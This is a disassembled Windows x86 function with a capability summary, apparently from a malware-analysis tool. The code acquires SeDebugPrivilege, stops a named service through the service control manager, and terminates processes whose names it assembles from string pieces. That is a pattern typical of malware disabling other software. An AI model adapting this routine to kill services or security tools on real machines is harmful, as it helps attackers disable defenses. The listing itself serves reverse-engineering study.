Function at 0x401db0
Capabilities:
Acquire debug privileges
Continue service
Pause service
Stop service
Terminate process

Disassembly:
sub esp, 0x41c
push ebx
push ebp
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.00401d30
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
push str.system.exe
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401100
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0xc
lea eax, [esp + 0x10]
push pe_nt_image_headers32
push eax
push ebx
call esi
lea ecx, [esp + 0x10]
push pe_nt_image_headers32
push ecx
push ebx
call esi
lea edx, [esp + 0x10]
push pe_nt_image_headers32
push edx
push ebx
call esi
lea eax, [esp + 0x10]
push pe_nt_image_headers32
push eax
push ebx
call esi
lea ecx, [esp + 0x10]
push pe_nt_image_headers32
push ecx
push ebx
call esi
lea edx, [esp + 0x10]
push pe_nt_image_headers32
push edx
push ebx
call esi
lea eax, [esp + 0x10]
push pe_nt_image_headers32
push eax
push ebx
call esi
lea ecx, [esp + 0x10]
push pe_nt_image_headers32
push ecx
push ebx
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x404164
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404160
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0xf003f
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x130]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40415c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea ecx, [esp + 0x12c]
push 0xf01ff
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea edx, [esp + 0x110]
push edx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x32d]
mov byte [esp + 0x32c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x404158
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x32c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x32c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404154
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
or ecx, 0xffffffff
mov edi, edx
lea edx, [esp + 0x32c]
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404150
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x32c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.y.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x12c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401100
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 4
cmp eax, ebx
je 0x402037
push eax
push ebx
push 0x100401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 1
push esi
call ebp
push ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x22d]
mov byte [esp + 0x22c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, 0x404158
xor eax, eax
lea edx, [esp + 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x22c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x404154
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x22c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x404144
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x22c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.e.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x22c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401100
add esp, 4
cmp eax, ebx
je 0x40213c
push eax
push ebx
push 0x100401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 1
push esi
call ebp
push ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x41c
ret